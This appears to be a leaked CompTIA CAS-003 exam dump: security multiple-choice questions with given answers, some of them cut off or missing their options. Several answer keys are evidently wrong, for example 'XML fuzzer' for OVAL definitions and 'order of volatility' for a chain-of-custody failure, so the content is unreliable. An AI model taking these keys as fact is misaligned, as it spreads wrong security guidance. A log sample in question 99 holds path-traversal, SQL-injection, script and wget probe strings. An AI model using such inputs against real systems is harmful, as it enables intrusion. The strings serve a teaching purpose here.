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Exam Questions CAS-003

CompTIA Advanced Security Practitioner (CASP)

NEW QUESTION 1

A security engineer is attempting to convey the importance of including job rotation in a company's standard security policies. Which of the following would be the BEST justification?

- A. Making employees rotate through jobs ensures succession plans can be implemented and prevents single point of failure.
- B. Forcing different people to perform the same job minimizes the amount of time malicious actions go undetected by forcing malicious actors to attempt collusion between two or more people.
- C. Administrators and engineers who perform multiple job functions throughout the day benefit from being cross-trained in new job areas.
- D. It eliminates the need to share administrative account passwords because employees gain administrative rights as they rotate into a new job area.

Answer: B

NEW QUESTION 2

The Chief Information Officer (CIO) has been asked to develop a security dashboard with the relevant metrics. The board of directors will use the dashboard to monitor and track the overall security posture of the organization. The CIO produces a basic report containing both KPI and KRI data in two separate sections for the board to review.

Which of the following BEST meets the needs of the board?

- A. KRI:- Compliance with regulations- Backlog of unresolved security investigations- Severity of threats and vulnerabilities reported by sensors- Time to patch critical issues on a monthly basis
KPI:- Time to resolve open security items- % of suppliers with approved security control frameworks- EDR coverage across the fleet- Threat landscape rating
- B. KRI:- EDR coverage across the fleet- Backlog of unresolved security investigations- Time to patch critical issues on a monthly basis- Threat landscape rating
KPI:- Time to resolve open security items- Compliance with regulations- % of suppliers with approved security control frameworks- Severity of threats and vulnerabilities reported by sensors
- C. KRI:- EDR coverage across the fleet- % of suppliers with approved security control framework- Backlog of unresolved security investigations- Threat landscape rating
KPI:- Time to resolve open security items- Compliance with regulations- Time to patch critical issues on a monthly basis- Severity of threats and vulnerabilities reported by sensors
- D. KPI:- Compliance with regulations- % of suppliers with approved security control frameworks- Severity of threats and vulnerabilities reported by sensors- Threat landscape rating
KRI:- Time to resolve open security items- Backlog of unresolved security investigations- EDR coverage across the fleet- Time to patch critical issues on a monthly basis

Answer: A

NEW QUESTION 3

The Chief Executive Officer (CEO) of a small startup company has an urgent need for a security policy and assessment to address governance, risk management, and compliance. The company has a resource-constrained IT department, but has no information security staff. The CEO has asked for this to be completed in three months.

Which of the following would be the MOST cost-effective solution to meet the company's needs?

- A. Select one of the IT personnel to obtain information security training, and then develop all necessary policies and documents in-house.
- B. Accept all risks associated with information security, and then bring up the issue again at next year's annual board meeting.
- C. Release an RFP to consultancy firms, and then select the most appropriate consultant who can fulfill the requirements.
- D. Hire an experienced, full-time information security team to run the startup company's information security department.

Answer: C

NEW QUESTION 4

A security engineer has been hired to design a device that will enable the exfiltration of data from within a well-defended network perimeter during an authorized test. The device must bypass all firewalls and NIDS in place, as well as allow for the upload of commands from a centralized command and control answer. The total cost of the device must be kept to a minimum in case the device is discovered during an assessment. Which of the following tools should the engineer load onto the device being designed?

- A. Custom firmware with rotating key generation
- B. Automatic MITM proxy
- C. TCP beacon broadcast software
- D. Reverse shell endpoint listener

Answer: B

NEW QUESTION 5

A security consultant is improving the physical security of a sensitive site and takes pictures of the unbranded building to include in the report. Two weeks later, the security consultant misplaces the phone, which only has one hour of charge left on it. The person who finds the phone removes the MicroSD card in an attempt to discover the owner to return it.

The person extracts the following data from the phone and EXIF data from some files:

DCIM Images folder

Audio books folder Torrentz

My TAX.xls

Consultancy HR Manual.doc Camera: SM-G950F Exposure time: 1/60s

Location: 3500 Lacey Road USA

Which of the following BEST describes the security problem?

- A. MicroSD is not encrypted and also contains personal data.
- B. MicroSD contains a mixture of personal and work data.
- C. MicroSD is not encrypted and contains geotagging information.
- D. MicroSD contains pirated software and is not encrypted

Answer: A

NEW QUESTION 6

A network engineer is upgrading the network perimeter and installing a new firewall, IDS, and external edge router. The IDS is reporting elevated UDP traffic, and the internal routers are reporting high utilization. Which of the following is the BEST solution?

- A. Reconfigure the firewall to block external UDP traffic.
- B. Establish a security baseline on the IDS.
- C. Block echo reply traffic at the firewall.
- D. Modify the edge router to not forward broadcast traffi

Answer: B

NEW QUESTION 7

An administrator is working with management to develop policies related to the use of the cloudbased resources that contain corporate data. Management plans to require some control over organizational data stored on personal devices, such as tablets. Which of the following controls would BEST support management's policy?

- A. MDM
- B. Sandboxing
- C. Mobile tokenization
- D. FDE
- E. MFA

Answer: A

NEW QUESTION 8

A consulting firm was hired to conduct assessment for a company. During the first stage, a penetration tester used a tool that provided the following output:

TCP 80 open

TCP 443 open

TCP 1434 filtered

The penetration tester then used a different tool to make the following requests:

GET / script/login.php?token=45\$MHT000MND876

GET / script/login.php?token=@#984DCSPQ%091DF

Which of the following tools did the penetration tester use?

- A. Protocol analyzer
- B. Port scanner
- C. Fuzzer
- D. Brute forcer
- E. Log analyzer
- F. HTTP interceptor

Answer: C

NEW QUESTION 9

An organization has recently deployed an EDR solution across its laptops, desktops, and server infrastructure. The organization's server infrastructure is deployed in an IaaS environment. A database within the non-production environment has been misconfigured with a routable IP and is communicating with a command and control server.

Which of the following procedures should the security responder apply to the situation? (Choose two.)

- A. Contain the server.
- B. Initiate a legal hold.
- C. Perform a risk assessment.
- D. Determine the data handling standard.
- E. Disclose the breach to customers.
- F. Perform an IOC sweep to determine the impac

Answer: BF

NEW QUESTION 10

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A security consultant is considering authentication options for a financial institution. The following authentication options are available security mechanism to the appropriate use case. Options may be used once.

NEW QUESTION 11

A penetration tester is conducting an assessment on Comptia.org and runs the following command from a coffee shop while connected to the public Internet:

```
C:\nslookup -querytype=MX comptia.org
Server: Unknown
Address: 198.51.100.45

comptia.org MX preference=10, mail exchanger = 92.68.102.33
comptia.org MX preference=20, mail exchanger = exchgl.comptia.org
exchgl.comptia.org      Internet address = 192.168.102.67
```

Which of the following should the penetration tester conclude about the command output?

- A. The public/private views on the Comptia.org DNS servers are misconfigured
- B. Comptia.org is running an older mail server, which may be vulnerable to exploits
- C. The DNS SPF records have not been updated for Comptia.org
- D. 192.168.102.67 is a backup mail server that may be more vulnerable to attack

Answer: B

NEW QUESTION 15

A recent penetration test identified that a web server has a major vulnerability. The web server hosts a critical shipping application for the company and requires 99.99% availability. Attempts to fix the vulnerability would likely break the application. The shipping application is due to be replaced in the next three months. Which of the following would BEST secure the web server until the replacement web server is ready?

- A. Patch management
- B. Antivirus
- C. Application firewall
- D. Spam filters
- E. HIDS

Answer: E

NEW QUESTION 20

An engineer is evaluating the control profile to assign to a system containing PII, financial, and proprietary data.

Data Type	Confidentiality	Integrity	Availability
PII	High	Medium	Low
Proprietary	High	High	Medium
Competitive	High	Medium	Medium
Industrial	Low	Low	High
Financial	Medium	High	Low

Based on the data classification table above, which of the following BEST describes the overall classification?

- A. High confidentiality, high availability
- B. High confidentiality, medium availability
- C. Low availability, low confidentiality
- D. High integrity, low availability

Answer: B

NEW QUESTION 22

An organization is in the process of integrating its operational technology and information technology areas. As part of the integration, some of the cultural aspects it would like to see include more efficient use of resources during change windows, better protection of critical infrastructure, and the ability to respond to incidents. The following observations have been identified:

The ICS supplier has specified that any software installed will result in lack of support.

There is no documented trust boundary defined between the SCADA and corporate networks.

Operational technology staff have to manage the SCADA equipment via the engineering workstation. There is a lack of understanding of what is within the SCADA network.

Which of the following capabilities would BEST improve the security position?

- A. VNC, router, and HIPS
- B. SIEM, VPN, and firewall
- C. Proxy, VPN, and WAF
- D. IDS, NAC, and log monitoring

Answer: A

NEW QUESTION 26

A company has hired an external security consultant to conduct a thorough review of all aspects of corporate security. The company is particularly concerned about unauthorized access to its physical offices resulting in network compromises. Which of the following should the consultant recommend be performed to

evaluate potential risks?

- A. The consultant should attempt to gain access to physical offices through social engineering and then attempt data exfiltration
- B. The consultant should be granted access to all physical access control systems to review logs and evaluate the likelihood of the threat
- C. The company should conduct internal audits of access logs and employee social media feeds to identify potential insider threats
- D. The company should install a temporary CCTV system to detect unauthorized access to physical offices

Answer: A

NEW QUESTION 30

Following a security assessment, the Chief Information Security Officer (CISO) is reviewing the results of the assessment and evaluating potential risk treatment strategies. As part of the CISO's evaluation, a judgment of potential impact based on the identified risk is performed. To prioritize response actions, the CISO uses past experience to take into account the exposure factor as well as the external accessibility of the weakness identified. Which of the following is the CISO performing?

- A. Documentation of lessons learned
- B. Quantitative risk assessment
- C. Qualitative assessment of risk
- D. Business impact scoring
- E. Threat modeling

Answer: B

NEW QUESTION 34

A recent assessment identified that several users' mobile devices are running outdated versions of endpoint security software that do not meet the company's security policy. Which of the following should be performed to ensure the users can access the network and meet the company's security requirements?

- A. Vulnerability assessment
- B. Risk assessment
- C. Patch management
- D. Device quarantine
- E. Incident management

Answer: C

NEW QUESTION 38

A Chief Information Security Officer (CISO) is reviewing the results of a gap analysis with an outside cybersecurity consultant. The gap analysis reviewed all procedural and technical controls and found the following:

High-impact controls implemented: 6 out of 10 Medium-impact controls implemented: 409 out of 472 Low-impact controls implemented: 97 out of 1000

The report includes a cost-benefit analysis for each control gap. The analysis yielded the following information:

Average high-impact control implementation cost: \$15,000; Probable ALE for each high-impact control gap: \$95,000

Average medium-impact control implementation cost: \$6,250; Probable ALE for each mediumimpact control gap: \$11,000

Due to the technical construction and configuration of the corporate enterprise, slightly more than 50% of the medium-impact controls will take two years to fully implement. Which of the following conclusions could the CISO draw from the analysis?

- A. Too much emphasis has been placed on eliminating low-risk vulnerabilities in the past
- B. The enterprise security team has focused exclusively on mitigating high-level risks
- C. Because of the significant ALE for each high-risk vulnerability, efforts should be focused on those controls
- D. The cybersecurity team has balanced residual risk for both high and medium controls

Answer: C

NEW QUESTION 42

One of the objectives of a bank is to instill a security awareness culture. Which of the following are techniques that could help to achieve this? (Choose two.)

- A. Blue teaming
- B. Phishing simulations
- C. Lunch-and-learn
- D. Random audits
- E. Continuous monitoring
- F. Separation of duties

Answer: BE

NEW QUESTION 43

Management is reviewing the results of a recent risk assessment of the organization's policies and procedures. During the risk assessment it is determined that procedures associated with background checks have not been effectively implemented. In response to this risk, the organization elects to revise policies and procedures related to background checks and use a third-party to perform background checks on all new employees. Which of the following risk management strategies has the organization employed?

- A. Transfer
- B. Mitigate
- C. Accept
- D. Avoid
- E. Reject

Answer: B

NEW QUESTION 45

An advanced threat emulation engineer is conducting testing against a client's network. The engineer conducts the testing in as realistic a manner as possible. Consequently, the engineer has been gradually ramping up the volume of attacks over a long period of time. Which of the following combinations of techniques would the engineer MOST likely use in this testing? (Choose three.)

- A. Black box testing
- B. Gray box testing
- C. Code review
- D. Social engineering
- E. Vulnerability assessment
- F. Pivoting
- G. Self-assessment
- H. White teaming
- I. External auditing

Answer: AEF

NEW QUESTION 46

A hospital uses a legacy electronic medical record system that requires multicast for traffic between the application servers and databases on virtual hosts that support segments of the application. Following a switch upgrade, the electronic medical record is unavailable despite physical connectivity between the hypervisor and the storage being in place. The network team must enable multicast traffic to restore access to the electronic medical record. The ISM states that the network team must reduce the footprint of multicast traffic on the network.

VLAN	Description
201	Server VLAN1
202	Server VLAN2
400	Hypervisor Management VLAN
680	Storage Management VLAN
700	Database Server VLAN

Using the above information, on which VLANs should multicast be enabled?

- A. VLAN201, VLAN202, VLAN400
- B. VLAN201, VLAN202, VLAN700
- C. VLAN201, VLAN202, VLAN400, VLAN680, VLAN700
- D. VLAN400, VLAN680, VLAN700

Answer: D

NEW QUESTION 51

A SaaS-based email service provider often receives reports from legitimate customers that their IP netblocks are on blacklists and they cannot send email. The SaaS has confirmed that affected customers typically have IP addresses within broader network ranges and some abusive customers within the same IP ranges may have performed spam campaigns. Which of the following actions should the SaaS provider perform to minimize legitimate customer impact?

- A. Inform the customer that the service provider does not have any control over third-party blacklist entries
- B. The customer should reach out to the blacklist operator directly
- C. Perform a takedown of any customer accounts that have entries on email blacklists because this is a strong indicator of hostile behavior
- D. Work with the legal department and threaten legal action against the blacklist operator if the netblocks are not removed because this is affecting legitimate traffic
- E. Establish relationship with a blacklist operators so broad entries can be replaced with more granular entries and incorrect entries can be quickly pruned

Answer: D

NEW QUESTION 56

An agency has implemented a data retention policy that requires tagging data according to type before storing it in the data repository. The policy requires all business emails be automatically deleted after two years. During an open records investigation, information was found on an employee's work computer concerning a conversation that occurred three years prior and proved damaging to the agency's reputation. Which of the following MOST likely caused the data leak?

- A. The employee manually changed the email client retention settings to prevent deletion of emails
- B. The file that contained the damaging information was mistagged and retained on the server for longer than it should have been
- C. The email was encrypted and an exception was put in place via the data classification application
- D. The employee saved a file on the computer's hard drive that contained archives of emails, which were more than two years old

Answer: D

NEW QUESTION 57

A forensics analyst suspects that a breach has occurred. Security logs show the company's OS patch system may be compromised, and it is serving patches that contain a zero-day exploit and backdoor. The analyst extracts an executable file from a packet capture of communication between a client computer and the patch server. Which of the following should the analyst use to confirm this suspicion?

- A. File size
- B. Digital signature
- C. Checksums

- D. Anti-malware software
- E. Sandboxing

Answer: B

NEW QUESTION 62

A security architect is implementing security measures in response to an external audit that found vulnerabilities in the corporate collaboration tool suite. The report identified the lack of any mechanism to provide confidentiality for electronic correspondence between users and between users and group mailboxes. Which of the following controls would BEST mitigate the identified vulnerability?

- A. Issue digital certificates to all users, including owners of group mailboxes, and enable S/MIME
- B. Federate with an existing PKI provider, and reject all non-signed emails
- C. Implement two-factor email authentication, and require users to hash all email messages upon receipt
- D. Provide digital certificates to all systems, and eliminate the user group or shared mailboxes

Answer: A

NEW QUESTION 64

A company is developing requirements for a customized OS build that will be used in an embedded environment. The company procured hardware that is capable of reducing the likelihood of successful buffer overruns while executables are processing. Which of the following capabilities must be included for the OS to take advantage of this critical hardware-based countermeasure?

- A. Application whitelisting
- B. NX/XN bit
- C. ASLR
- D. TrustZone
- E. SCP

Answer: B

NEW QUESTION 65

A software development team has spent the last 18 months developing a new web-based front-end that will allow clients to check the status of their orders as they proceed through manufacturing. The marketing team schedules a launch party to present the new application to the client base in two weeks. Before the launch, the security team discovers numerous flaws that may introduce dangerous vulnerabilities, allowing direct access to a database used by manufacturing. The development team did not plan to remediate these vulnerabilities during development. Which of the following SDLC best practices should the development team have followed?

- A. Implementing regression testing
- B. Completing user acceptance testing
- C. Verifying system design documentation
- D. Using a SRTM

Answer: D

NEW QUESTION 67

An engineer maintains a corporate-owned mobility infrastructure, and the organization requires that all web browsing using corporate-owned resources be monitored. Which of the following would allow the organization to meet its requirement? (Choose two.)

- A. Exempt mobile devices from the requirement, as this will lead to privacy violations
- B. Configure the devices to use an always-on IPSec VPN
- C. Configure all management traffic to be tunneled into the enterprise via TLS
- D. Implement a VDI solution and deploy supporting client apps to devices
- E. Restrict application permissions to establish only HTTPS connections outside of the enterprise boundary

Answer: BE

NEW QUESTION 69

After multiple service interruptions caused by an older datacenter design, a company decided to migrate away from its datacenter. The company has successfully completed the migration of all datacenter servers and services to a cloud provider. The migration project includes the following phases:

Selection of a cloud provider Architectural design Microservice segmentation Virtual private cloud Geographic service redundancy Service migration

The Chief Information Security Officer (CISO) is still concerned with the availability requirements of critical company applications. Which of the following should the company implement NEXT?

- A. Multicloud solution
- B. Single-tenancy private cloud
- C. Hybrid cloud solution
- D. Cloud access security broker

Answer: D

NEW QUESTION 72

A security controls assessor intends to perform a holistic configuration compliance test of networked assets. The assessor has been handed a package of definitions provided in XML format, and many of the files have two common tags within them: “<object object_ref=... />” and “<state state_ref=... />”. Which of the following tools BEST supports the use of these definitions?

- A. HTTP interceptor
- B. Static code analyzer

- C. SCAP scanner
- D. XML fuzzer

Answer: D

NEW QUESTION 74

A web developer has implemented HTML5 optimizations into a legacy web application. One of the modifications the web developer made was the following client side optimization: `localStorage.setItem("session-cookie", document.cookie);`
Which of the following should the security engineer recommend?

- A. SessionStorage should be used so authorized cookies expire after the session ends
- B. Cookies should be marked as "secure" and "HttpOnly"
- C. Cookies should be scoped to a relevant domain/path
- D. Client-side cookies should be replaced by server-side mechanisms

Answer: C

NEW QUESTION 76

A hospital's security team recently determined its network was breached and patient data was accessed by an external entity. The Chief Information Security Officer (CISO) of the hospital approaches the executive management team with this information, reports the vulnerability that led to the breach has already been remediated, and explains the team is continuing to follow the appropriate incident response plan. The executive team is concerned about the hospital's brand reputation and asks the CISO when the incident should be disclosed to the affected patients. Which of the following is the MOST appropriate response?

- A. When it is mandated by their legal and regulatory requirements
- B. As soon as possible in the interest of the patients
- C. As soon as the public relations department is ready to be interviewed
- D. When all steps related to the incident response plan are completed
- E. Upon the approval of the Chief Executive Officer (CEO) to release information to the public

Answer: A

NEW QUESTION 77

A deployment manager is working with a software development group to assess the security of a new version of the organization's internally developed ERP tool. The organization prefers to not perform assessment activities following deployment, instead focusing on assessing security throughout the life cycle. Which of the following methods would BEST assess the security of the product?

- A. Static code analysis in the IDE environment
- B. Penetration testing of the UAT environment
- C. Vulnerability scanning of the production environment
- D. Penetration testing of the production environment
- E. Peer review prior to unit testing

Answer: C

NEW QUESTION 81

During a security event investigation, a junior analyst fails to create an image of a server's hard drive before removing the drive and sending it to the forensics analyst. Later, the evidence from the analysis is not usable in the prosecution of the attackers due to the uncertainty of tampering. Which of the following should the junior analyst have followed?

- A. Continuity of operations
- B. Chain of custody
- C. Order of volatility
- D. Data recovery

Answer: C

NEW QUESTION 83

A team is at the beginning stages of designing a new enterprise-wide application. The new application will have a large database and require a capital investment in hardware. The Chief Information Officer (CIO) has directed the team to save money and reduce the reliance on the datacenter, and the vendor must specialize in hosting large databases in the cloud. Which of the following cloud-hosting options would BEST meet these needs?

- A. Multi-tenancy SaaS
- B. Hybrid IaaS
- C. Single-tenancy PaaS
- D. Community IaaS

Answer: C

NEW QUESTION 87

A company wants to extend its help desk availability beyond business hours. The Chief Information Officer (CIO) decides to augment the help desk with a third-party service that will answer calls and provide Tier 1 problem resolution, such as password resets and remote assistance. The security administrator implements the following firewall change:

```
PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 80  
  
PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 636  
  
PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 5800  
  
PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 1433
```

The administrator provides the appropriate path and credentials to the third-party company. Which of the following technologies is MOST likely being used to provide access to the third company?

- A. LDAP
- B. WAYF
- C. OpenID
- D. RADIUS
- E. SAML

Answer: D

NEW QUESTION 91

An architect was recently hired by a power utility to increase the security posture of the company's power generation and distribution sites. Upon review, the architect identifies legacy hardware with highly vulnerable and unsupported software driving critical operations. These systems must exchange data with each other, be highly synchronized, and pull from the Internet time sources.

Which of the following architectural decisions would BEST reduce the likelihood of a successful attack without harming operational capability? (Choose two.)

- A. Isolate the systems on their own network
- B. Install a firewall and IDS between systems and the LAN
- C. Employ own stratum-0 and stratum-1 NTP servers
- D. Upgrade the software on critical systems
- E. Configure the systems to use government-hosted NTP servers

Answer: BE

NEW QUESTION 96

A company contracts a security engineer to perform a penetration test of its client-facing web portal. Which of the following activities would be MOST appropriate?

- A. Use a protocol analyzer against the site to see if data input can be replayed from the browser
- B. Scan the website through an interception proxy and identify areas for the code injection
- C. Scan the site with a port scanner to identify vulnerable services running on the web server
- D. Use network enumeration tools to identify if the server is running behind a load balancer

Answer: C

NEW QUESTION 98

A software development manager is running a project using agile development methods. The company cybersecurity engineer has noticed a high number of vulnerabilities have been making it into production code on the project.

Which of the following methods could be used in addition to an integrated development environment to reduce the severity of the issue?

- A. Conduct a penetration test on each function as it is developed
- B. Develop a set of basic checks for common coding errors
- C. Adopt a waterfall method of software development
- D. Implement unit tests that incorporate static code analyzers

Answer: D

NEW QUESTION 99

A security analyst sees some suspicious entries in a log file from a web server website, which has a form that allows customers to leave feedback on the company's products. The analyst believes a malicious actor is scanning the web form. To know which security controls to put in place, the analyst first needs to determine the type of activity occurring to design a control. Given the log below:

Timestamp	SourceIP	CustName	PreferredContact	ProdName	Comments
Monday 10:00:04	10.14.34.55	aaaaa	Phone	Widget1	None left
Monday 10:00:04	10.14.34.55	bbbbb	Phone	Widget1	None left
Monday 10:00:05	10.14.34.55	cccc	Phone	Widget1	../../../../etc/passwd
Monday 10:01:03	10.14.34.55	ddddd	Phone	Widget1	None left
Monday 10:01:04	10.14.34.55	eeee	Phone	Widget1	None left
Monday 10:01:05	10.14.34.55	ffff	Phone	Widget1	1=1
Monday 10:03:05	172.16.34.20	Joe	Phone	Widget30	Love the Widget!
Monday 10:04:01	10.14.34.55	ggggg	Phone	Widget1	<script>
Monday 10:05:05	10.14.34.55	hhhhh	Phone	Widget1	wget cookie
Monday 10:05:05	10.14.34.55	iiii	Phone	Widget1	None left
Monday 10:05:06	10.14.34.55	llll	Phone	Widget1	None left

Which of the following is the MOST likely type of activity occurring?

- A. SQL injection
- B. XSS scanning
- C. Fuzzing
- D. Brute forcing

Answer: A

NEW QUESTION 100

An organization has established the following controls matrix:

	Minimum	Moderate	High
Physical Security	Cylinder Lock	Cipher Lock	Proximity Access Card
Environmental Security	Surge Protector	UPS	Generator
Data Security	Context-Based Authentication	MFA	FDE
Application Security	Peer Review	Static Analysis	Penetration Testing
Logical Security	HIDS	NIDS	NIPS

The following control sets have been defined by the organization and are applied in aggregate fashion:

Systems containing PII are protected with the minimum control set. Systems containing medical data are protected at the moderate level. Systems containing cardholder data are protected at the high level.

The organization is preparing to deploy a system that protects the confidentiality of a database containing PII and medical data from clients. Based on the controls classification, which of the following controls would BEST meet these requirements?

- A. Proximity card access to the server room, context-based authentication, UPS, and full-disk encryption for the database server.
- B. Cipher lock on the server room door, FDE, surge protector, and static analysis of all application code.
- C. Peer review of all application changes, static analysis of application code, UPS, and penetration testing of the complete system.
- D. Intrusion detection capabilities, network-based IPS, generator, and context-based authentication

Answer: D

NEW QUESTION 103

A recent CRM upgrade at a branch office was completed after the desired deadline. Several technical issues were found during the upgrade and need to be discussed in depth before the next branch office is upgraded. Which of the following should be used to identify weak processes and other vulnerabilities?

- A. Gap analysis
- B. Benchmarks and baseline results
- C. Risk assessment
- D. Lessons learned report

Answer: D

NEW QUESTION 104

A threat advisory alert was just emailed to the IT security staff. The alert references specific types of host operating systems that can allow an unauthorized person to access files on a system remotely. A fix was recently published, but it requires a recent endpoint protection engine to be installed prior to running the fix. Which of the following MOST likely need to be configured to ensure the system are mitigated accordingly? (Select two.)

- A. Antivirus
- B. HIPS
- C. Application whitelisting
- D. Patch management
- E. Group policy implementation
- F. Firmware updates

Answer: DF

NEW QUESTION 106

A network engineer is attempting to design-in resiliency characteristics for an enterprise network's VPN services.

If the engineer wants to help ensure some resilience against zero-day vulnerabilities exploited against the VPN implementation, which of the following decisions would BEST support this objective?

- A. Implement a reverse proxy for VPN traffic that is defended and monitored by the organization's SOC with near-real-time alerting to administrators.
- B. Subscribe to a managed service provider capable of supporting the mitigation of advanced DDoS attacks on the enterprise's pool of VPN concentrators.
- C. Distribute the VPN concentrators across multiple systems at different physical sites to ensure some backup services are available in the event of primary site loss.
- D. Employ a second VPN layer concurrently where the other layer's cryptographic implementation is sourced from a different vendor.

Answer: D

NEW QUESTION 109

An information security officer is responsible for one secure network and one office network. Recent intelligence suggests there is an opportunity for attackers to gain access to the secure network due to similar login credentials across networks. To determine the users who should change their information, the information security officer uses a tool to scan a file with hashed values on both networks and receives the following data:

Corporate Network		Secure Network	
james.bond	asHU8\$1bg	jbond	asHU8\$1bg
tom.jones	wit4njyt%l	tom.jones	wit4njyt%l
dade.murphy	mUrpHTIME7	d.murph3	t%w3BT9)n
herbie.hancock	hh2016!#	hhanco	hh2016!#2
suzy.smith	lLi*#HFadf	ssmith	lLI*#HFadf

Which of the following tools was used to gather this information from the hashed values in the file?

- A. Vulnerability scanner
- B. Fuzzer
- C. MD5 generator
- D. Password cracker
- E. Protocol analyzer

Answer: C

NEW QUESTION 112

A Chief Information Security Officer (CISO) is reviewing and revising system configuration and hardening guides that were developed internally and have been used several years to secure the organization's systems. The CISO knows improvements can be made to the guides.

Which of the following would be the BEST source of reference during the revision process?

- A. CVE database
- B. Internal security assessment reports
- C. Industry-accepted standards
- D. External vulnerability scan reports

E. Vendor-specific implementation guides

Answer: A

NEW QUESTION 117

A systems administrator recently joined an organization and has been asked to perform a security assessment of controls on the organization's file servers, which contain client data from a number of sensitive systems. The administrator needs to compare documented access requirements to the access implemented within the file system.

Which of the following is MOST likely to be reviewed during the assessment? (Select two.)

- A. Access control list
- B. Security requirements traceability matrix
- C. Data owner matrix
- D. Roles matrix
- E. Data design document
- F. Data access policies

Answer: DF

NEW QUESTION 119

Legal counsel has notified the information security manager of a legal matter that will require the preservation of electronic records for 2000 sales force employees. Source records will be email, PC, network shares, and applications.

After all restrictions have been lifted, which of the following should the information manager review?

- A. Data retention policy
- B. Legal hold
- C. Chain of custody
- D. Scope statement

Answer: B

NEW QUESTION 122

As a security administrator, you are asked to harden a server running Red Hat Enterprise Server 5.5 64-bit.

This server is being used as a DNS and time server. It is not used as a database, web server, or print server. There are no wireless connections to the server, and it does not need to print.

The command window will be provided along with root access. You are connected via a secure shell with root access.

You may query help for a list of commands. Instructions:

You need to disable and turn off unrelated services and processes.

It is possible to simulate a crash of your server session. The simulation can be reset, but the server cannot be rebooted. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.



```
Command Prompt Window
[root@comptia-test ~]#
```



```
Command Prompt Window
[root@comptia-test ~]# help
Available Commands

kill -9 <pid>
ps -A
chkconfig --list
chkconfig --level 3 <service name>
<on/off>
service <service name> <start|stop>

[root@comptia-test ~]#
```


A. In Order to deactivate web services, database services and print service, we can do following things1) deactivate its services/etc/init.d/apache2 stop/etc/init.d/mysqld stop2) close ports for these services Web Serveriptables -I INPUT -p tcp -m tcp --dport 443 -j REJECTservice iptables save Print Serveriptables -I INPUT -p tcp -m tcp --dport 631 -j REJECTservice iptables save Database Serveriptables -I INPUT -p tcp -m tcp --dport <<port umber>> -j REJECTservice iptables save3) Kill the process any running for the same ps -aef|grep mysqlkill -9 <<process id>>

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Answer: A

NEW QUESTION 125

A breach was caused by an insider threat in which customer PII was compromised. Following the breach, a lead security analyst is asked to determine which vulnerabilities the attacker used to access company resources. Which of the following should the analyst use to remediate the vulnerabilities?

- A. Protocol analyzer
- B. Root cause analyzer
- C. Behavioral analytics
- D. Data leak prevention

Answer: D

NEW QUESTION 129

A security technician is incorporating the following requirements in an RFP for a new SIEM: New security notifications must be dynamically implemented by the SIEM engine

The SIEM must be able to identify traffic baseline anomalies

Anonymous attack data from all customers must augment attack detection and risk scoring

Based on the above requirements, which of the following should the SIEM support? (Choose two.)

- A. Autoscaling search capability
- B. Machine learning
- C. Multisensor deployment
- D. Big Data analytics
- E. Cloud-based management
- F. Centralized log aggregation

Answer: BD

NEW QUESTION 130

An organization enables BYOD but wants to allow users to access the corporate email, calendar, and contacts from their devices. The data associated with the user's accounts is sensitive, and therefore, the organization wants to comply with the following requirements:

Active full-device encryption Enabled remote-device wipe Blocking unsigned applications

Containerization of email, calendar, and contacts

Which of the following technical controls would BEST protect the data from attack or loss and meet the above requirements?

- A. Require frequent password changes and disable NFC.
- B. Enforce device encryption and activate MAM.
- C. Install a mobile antivirus application.
- D. Configure and monitor devices with an MD

Answer: B

NEW QUESTION 134

Given the following information about a company's internal network:

User IP space: 192.168.1.0/24

Server IP space: 192.168.192.0/25

A security engineer has been told that there are rogue websites hosted outside of the proper server space, and those websites need to be identified. Which of the following should the engineer do?

- A. Use a protocol analyzer on 192.168.1.0/24
- B. Use a port scanner on 192.168.1.0/24
- C. Use an HTTP interceptor on 192.168.1.0/24
- D. Use a port scanner on 192.168.192.0/25
- E. Use a protocol analyzer on 192.168.192.0/25
- F. Use an HTTP interceptor on 192.168.192.0/25

Answer: B

NEW QUESTION 136

During a security assessment, activities were divided into two phases; internal and external exploitation. The security assessment team set a hard time limit on external activities before moving to a compromised box within the enterprise perimeter.

Which of the following methods is the assessment team most likely to employ NEXT?

- A. Pivoting from the compromised, moving laterally through the enterprise, and trying to exfiltrate data and compromise devices.
- B. Conducting a social engineering attack attempt with the goal of accessing the compromised box physically.
- C. Exfiltrating network scans from the compromised box as a precursor to social media reconnaissance
- D. Open-source intelligence gathering to identify the network perimeter and scope to enable further system compromises.

Answer: A

NEW QUESTION 141

Which of the following is the GREATEST security concern with respect to BYOD?

- A. The filtering of sensitive data out of data flows at geographic boundaries.
- B. Removing potential bottlenecks in data transmission paths.
- C. The transfer of corporate data onto mobile corporate devices.
- D. The migration of data into and out of the network in an uncontrolled manne

Answer: D

NEW QUESTION 143

A medical facility wants to purchase mobile devices for doctors and nurses. To ensure accountability, each individual will be assigned a separate mobile device. Additionally, to protect patients' health information, management has identified the following requirements:

Data must be encrypted at rest.

The device must be disabled if it leaves the facility. The device must be disabled when tampered with

Which of the following technologies would BEST support these requirements? (Select two.)

- A. eFuse
- B. NFC
- C. GPS
- D. Biometric
- E. USB 4.1
- F. MicroSD

Answer: CD

NEW QUESTION 148

A security analyst is inspecting pseudocode of the following multithreaded application:

1. perform daily ETL of data
 - 1.1 validate that yesterday's data model file exists
 - 1.2 validate that today's data model file does not exist
 - 1.2 extract yesterday's data model
 - 1.3 transform the format
 - 1.4 load the transformed data into today's data model file
 - 1.5 exit

Which of the following security concerns is evident in the above pseudocode?

- A. Time of check/time of use
- B. Resource exhaustion
- C. Improper storage of sensitive data
- D. Privilege escalation

Answer: A

NEW QUESTION 152

A security architect is determining the best solution for a new project. The project is developing a new intranet with advanced authentication capabilities, SSO for users, and automated provisioning to streamline Day 1 access to systems. The security architect has identified the following requirements:

1. Information should be sourced from the trusted master data source.
2. There must be future requirements for identity proofing of devices and users.
3. A generic identity connector that can be reused must be developed.
4. The current project scope is for internally hosted applications only.

Which of the following solution building blocks should the security architect use to BEST meet the requirements?

- A. LDAP, multifactor authentication, OAuth, XACML
- B. AD, certificate-based authentication, Kerberos, SPML
- C. SAML, context-aware authentication, OAuth, WAYF
- D. NAC, radius, 802.1x, centralized active directory

Answer: A

NEW QUESTION 157

A newly hired security analyst has joined an established SOC team. Not long after going through corporate orientation, a new attack method on web-based applications was publicly revealed. The security analyst immediately brings this new information to the team lead, but the team lead is not concerned about it. Which of the following is the MOST likely reason for the team lead's position?

- A. The organization has accepted the risks associated with web-based threats.
